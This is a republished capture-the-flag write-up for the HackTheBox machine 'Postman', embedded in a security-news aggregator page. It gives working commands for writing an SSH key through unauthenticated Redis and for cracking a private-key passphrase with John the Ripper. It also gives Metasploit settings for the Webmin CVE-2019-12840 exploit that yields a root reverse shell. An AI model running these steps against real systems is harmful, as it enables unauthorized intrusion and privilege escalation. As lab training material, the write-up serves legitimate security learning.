Zum Hauptinhalt springen
Intelligence View
⚡ tsecurity.de Intelligence

HackTheBox: Postman Writeup

Summary Postman is an easy-rated Linux machine on HackTheBox. The box exposes an unauthenticated Redis instance that allows writing an SSH public key to the…

Beitrag
0
Seite
0
↗ Quelle (dev.to)
CVE & Threat-Kontext · 5 Min. Lesezeit
Quelle: dev.to
Rubrik: Sichere Programmierung
CVE-2019-12840 EPSS 77.6%




Summary



Postman is an easy-rated Linux machine on HackTheBox. The box exposes an unauthenticated Redis instance that allows writing an SSH public key to the redis user's .ssh directory, granting initial shell access. From there, an encrypted RSA private key belonging to user Matt is recovered, cracked offline with John the Ripper, and reused (due to password reuse) to su into Matt for the user flag. Enumeration of Matt's owned files reveals a hint pointing to the previously unchecked Webmin service on port 10000, where the same reused password grants admin access to Webmin 1.910 — vulnerable to CVE-2019-12840, an authenticated RCE via the Package Updates module — leading to a root shell.






Recon






nmap -sC -sV -p- -A <MACHINE-IP> -oA nmap






Open ports:

































Port Service Version
22 SSH OpenSSH 7.6p1 (Ubuntu)
80 HTTP Apache 2.4.29 — "The Cyber Geek's Personal Website"
6379 Redis Redis 4.0.9
10000 HTTP (initially missed) MiniServ 1.910 (Webmin), SSL-only


The port 80 site is a static personal page and doesn't yield credentials or paths directly. The standout finding is Redis on 6379 with no authentication configured.






Foothold via Redis Key Write



Connecting to Redis unauthenticated confirms no requirepass is set:




redis-cli -h <MACHINE-IP>
CONFIG GET *






Key fields of interest:





  • requirepass — empty (no auth)


  • dir — /var/lib/redis


  • dbfilename — dump.rdb



Since Redis runs as the redis system user (which has an .ssh folder in its home directory), the classic Redis SSH-key-write technique applies: tell Redis to save its data file directly into ~redis/.ssh/authorized_keys, with an SSH public key stored as the value of a Redis key. The padding newlines around the key keep the surrounding RDB file bytes from corrupting the key line.




(echo; echo; cat ~/.ssh/id_rsa.pub; echo; echo) | redis-cli -h <MACHINE-IP> -x set mykey
redis-cli -h <MACHINE-IP> config set dir /var/lib/redis/.ssh
redis-cli -h <MACHINE-IP> config set dbfilename authorized_keys
redis-cli -h <MACHINE-IP> save









ssh -i ~/.ssh/id_rsa redis@<MACHINE-IP>






This lands a shell as redis (uid 107, low-privilege, group redis only).






Privilege Pivot: Matt's Encrypted SSH Key



As redis, a search for files owned by Matt turns up:




find / -type f -user Matt 2>/dev/null






Notably /opt/id_rsa.bak — a PEM RSA private key, encrypted (DEK-Info: DES-EDE3-CBC). After copying it locally and preparing it for cracking:




ssh2john matt-key > matt-key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt matt-key.hash






John recovers the passphrase: computer2008.



Decrypting the key locally with openssl rsa -in matt-key -out matt-key-decrypted works, but a direct SSH login attempt as matt using the decrypted key is rejected (key not authorized for that account over SSH). Given the password reuse pattern already established by needing it to decrypt the key, the same passphrase is tried directly against the Matt Linux account from the existing redis shell:




su Matt
# password: computer2008






This succeeds, yielding the user flag at /home/Matt/user.txt.



sudo -l confirms Matt has no sudo rights, so a different angle is needed for root.






Escalation: Webmin RCE (CVE-2019-12840)



Reviewing files owned by Matt again surfaces /var/www/SimpleHTTPPutServer.py, a custom Python 2 HTTP PUT server script. This is a hint that port 80 isn't the only web service worth revisiting — prompting a second look at port 10000, which earlier scans flagged only generically as MiniServ/Webmin and had not been enumerated further. Browsing to it over HTTPS shows a Webmin login page for host postman.htb, with the dashboard (once authenticated) confirming Webmin version 1.910 on Ubuntu 18.04.3.



Given the established password reuse pattern, Matt / computer2008 is tried against the Webmin login and succeeds with admin access.



Webmin 1.910 is vulnerable to CVE-2019-12840, an authenticated remote command execution in the Package Updates module, exploitable via Metasploit:




use exploit/linux/http/webmin_packageup_rce
set rhosts <MACHINE-IP>
set rport 10000
set ssl yes
set username Matt
set password computer2008
set lhost <LOCAL-TUN0-IP>
set lport 3333
run






The module returns a command shell running as root:




whoami
root
cat /root/root.txt









Flags





  • User flag (Matt): HTB{REDACTED}


  • Root flag: HTB{REDACTED}






Attack Chain




  1. Unauthenticated Redis (6379) → write SSH public key into redis user's authorized_keys via CONFIG SET dir/dbfilename + SAVE

  2. SSH in as redis (low-privilege foothold)

  3. Locate /opt/id_rsa.bak, an encrypted RSA key owned by Matt

  4. Crack passphrase offline with ssh2john + John the Ripper + rockyou.txt → computer2008

  5. Password reuse: su Matt with the cracked passphrase → user flag

  6. Enumerate files owned by Matt, find a hint pointing back to an unchecked web service on port 10000 (Webmin)

  7. Password reuse again: log into Webmin 1.910 as Matt / computer2008

  8. Exploit CVE-2019-12840 (Package Updates module authenticated RCE) via Metasploit → root shell → root flag






Key Vulnerabilities




























Vulnerability Description
Unauthenticated Redis instance No requirepass set; allows arbitrary file write via CONFIG SET dir/dbfilename + SAVE, enabling SSH key injection
Weak/reused credentials Passphrase computer2008 protecting Matt's backup SSH key was crackable via rockyou.txt and was reused for both the Linux account and the Webmin panel
CVE-2019-12840 Webmin ≤ 1.910 Package Updates module authenticated remote command execution, leading directly to root
Sensitive file left on disk
/opt/id_rsa.bak, an encrypted private key for Matt, was world-readable and enabled the entire escalation path
Social ReaktionenReagiere als Erste:r — dein Feedback zählt!
Informations-Bewertung:
✏️ Information ergänzen
🛡️ Versioniert via CMS-Revisions-Engine (Freigabe-Queue für Gäste)

💬 Topluluk tartışması ve yorumlar

🌐 Ana sohbete katıl

Tartışmayı başlat: Social Chat yayın akışı veya yukarıdaki ekleme formuyla uzman katkısı gönder.

Siber Tehdit İstihbaratı ve Adli Bilişim

ATT&CK Gezgini · IoC Radarı · İstismar Kanıtları
IoC Intelligence
1 Indikatoren · Defanged · STIX 2.1
CVE-2019-12840
CTI Threat Relationship Graph
Akteure · Techniken · Beziehungen
6 Knoten · 5 Relationen
CVE / Incident Threat Actor Software MITRE ATT&CK CWE Weakness IoC
İstismar ve İyileştirme Yaşam Döngüsü
PoC · İstismar · Yama Aşamaları
CVE-2019-12840
Keşif ve Bildirim
Güvenlik açığı tespit edildi ve kaydedildi
Güvenlik Uyarısı
Resmi uyarı ve CVE ataması
Exploit / PoC
Öffentlicher Nachweis dokumentiert (🔒 Details nur für Community-Mitglieder)
Aktif İstismar
Aktif saldırılar gözlemlendi (CISA KEV / EPSS)
Yama ve Önlemler
Noch kein offizieller Patch bestätigt — Angriffsfläche reduzieren & Hersteller-Feeds beobachten.
Exploit Weaponization & PoC Radarı
BT Yöneticisi Aciliyeti · Araştırmacı Saldırı Yüzeyi
HIGH EXPLOITABLE · 54/100BT Yöneticisi Skoru: 30/100Araştırmacı Skoru: 54/100
Exploit-DB
EDB-46984
Interaktion
Interaktion nötig
Authentifizierung
Erforderlich
Etik Güvenlik Bildirimi
Yalnızca Topluluk Üyeleri

Exploit ve PoC kanıtları yalnızca kayıtlı topluluk üyelerine açıktır ve sadece savunma analizi, yama doğrulama ve yetkili güvenlik testleri içindir. Kötüye kullanımı önlemek için erişimler kaydedilir.

Metasploit-Modul (1)GitHub PoC (4)Exploit-DB (1)

Compliance, SLA & Vendor Adherence

Advisory-Prüfung · Score-Einordnung · Fristen
Advisory Radar

Üretici Güvenlik Uyarıları ve Yama Durumu

Workaround & Virtual-Patching empfohlen
Yöneticiler için Eylem Önerisi

Öffentliche PoCs existieren. Isolieren Sie das System oder wenden Sie Micro-Segmentierungsregeln an, bis offizielle Patches vorliegen.

Patch-Informationen & Code-Fixes (GitHub / Git)

Kein öffentlicher GitHub-/Git-Commit direkt in den CVE-Referenzen verlinkt — Hersteller-Bulletin prüfen.

Doğrulanmış Referanslar ve Birincil Kaynaklar (Resmi üretici alan adları ve kurumlar için “Doğrulandı”)
2 herkese açık PoC/Exploit referansı tespit edildi (Exploit Database (EDB)).
CVE Dosyasında güvenle incele
Security Briefing Ücretsiz · Tek tıkla abonelikten çıkma

Zeka Digest - ücretsiz

Günlük en önemli güvenlik haberi · herhangi bir zamanda alınabilir

Community Rating &amp; Social Proof
⭐ Okuyucu Puanı
–
Ø / 5.0
Hiçbir okuyucu henüz yorum yok
Bu makale yararlı mıydı?
0
Değerlendirmenizi gönderin
Detaylı değerlendirme (isteğe bağlı)
İçerik ve Kalite
Kaynak ve Güvenilirlik
Güncellik

İlgili Story Cluster & Kaynaklar (vector AI)

6 Cluster
24 Kaynaklar
Black Friday tech deals under $100 / £100: Fire TV Sticks, earbuds, coffee machines and more
Latest from TechRadar 1 saat önce
23 diğer kaynaklar
Caschys Blog2 saat önceGoogle One: Black-Friday-Angebot mit bis zu 50 Prozent Rabatt netzwelt.de1 saat önceDem Testsieger ebenbürtig: Zum Black Friday stürzt Xiaomis stärkster E-Scooter im Preis ab Macerkopf.de2 saat önceFotos verbessern mit Aiarty: 52 % Rabatt + Gratisgeschenke zum Black Friday CNET11 gün önceGrab Our Top Gaming Chair Pick for up to $200 Off in Secretlab’s Black Friday Sale Latest from TechRadar1 saat önceWalmart's Black Friday deals are live — shop our top picks now Latest from TechRadar1 saat önceLive: Apple Black Friday deals — save on AirPods Pro 3, iPad 11-in, Apple Watch 12, AirTags & more WIRED1 saat önceThe Best Early Black Friday MacBook Deals (2026) Latest from Windows Central1 saat önceEssential Xbox Ally travel accessories drop their prices before Black Friday IT Security News1 saat önceBeyond Black Friday: The Cyber Threats Retailers Need to Prepare for in 2026 Latest from TechRadar1 saat önceBest Black Friday streaming deals from 99 cents: Apple TV, HBO Max, Paramount+, Peacock, and more CNET1 saat önceThis Bissell Vacuum Tackles Tough Pet Hair and It’s Just $170 During the Black Friday Sales WIRED2 saat önceGPS Dog Collar for Less: Our Top Tested Picks From Fi’s Black Friday Sale (2026) Latest from Windows Central2 saat önceDell's excellent XPS laptops are up to 33% off in this early Black Friday sale WinFuture News2 saat önceBlack Friday bei VZMore: Bis 600 Euro Rabatt auf Power-Mini-PCs Latest from TechRadar2 saat önceThe best Black Friday turntable deals, as picked by an audio editor Latest from TechRadar2 saat önce40+ best Black Friday deals in the UK — Switch 2, Shark vacuums, iPhone 18, Lego, PS5 bundles, Samsung, LG OLED TVs, and more CNET12 gün önceUpgrade Your Home Security for Less. Score Up to 65% Off With These Black Friday Ring Deals Giga.de2 saat önceVor Black Friday zu viel bezahlt? Mit einem Trick könnt ihr doch noch sparen - Futurezone2 saat önceStreaming-Sticks zur Black Week: Mit diesen Deals sparst du bis zu 46 % t3n.de2 saat önceBlack Friday: Diese Samsung-Angebote bei Amazon und Media Markt lohnen sich netzwelt.de4 saat önceBlack-Friday-Kracher: Huawei-Smartwatch mit EKG für unter 150 Euro Golem.de2 saat önceAnzeige: Sony WH-1000XM6 Referenz-Kopfhörer am Black Friday zum Amazon-Bestpreis Macerkopf.de3 saat önceAmazon Black Friday: Apple Pencil, WISO Steuer 2027, Microsoft 365, iPhone 18 Cases und mehr
Benzer katkılar
🔍 Verwandte News

Auch interessante Nachrichten HackTheBox: Postman Writeup

Thematisch verwandte Begriffe: HackTheBox, Postman, Writeup · 6 Treffer

Laden...

Videolar yükleniyor...

Laden...

Contributions yüklenir ...

Laden...

Videolar yükleniyor...

Laden...

Contributions yüklenir ...

Laden...

Videolar yükleniyor...

Laden...

Contributions yüklenir ...

Laden...

Videolar yükleniyor...

Yorumlar yüklenir..
Update to Update
Widgets & Topics
Loading widgets…
Nächster Beitrag